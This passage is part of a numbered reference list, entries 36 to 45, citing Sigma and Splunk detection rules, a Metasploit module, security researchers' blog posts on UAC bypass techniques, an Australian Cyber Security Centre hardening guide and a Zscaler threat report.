https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/ [37] Sigma — Generic Signature Format for SIEM Systems (UAC bypass rule set) — SigmaHQ — https://github.com/SigmaHQ/sigma [38] Metasploit module: bypassuac_eventvwr — Rapid7 — https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb [39] UAC bypasses from COMAutoApprovalList — swapcontext (2020) — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html [40] Reading Your Way Around UAC (Parts 1–3) — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html [41] Accessing Access Tokens for UIAccess — James Forshaw (2019) — https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html [42] UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking — egre55 — https://egre55.github.io/system-properties-uac-bypass/ [43] Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses — V3ded — https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses [44] Hardening Microsoft Windows 10/11 Workstations (UAC policy recommendations) — Australian Cyber Security Centre (2025) — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf [45] In-Memory Loader Drops ScreenConnect (elevated COM abuse) — Zscaler ThreatLabz — https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect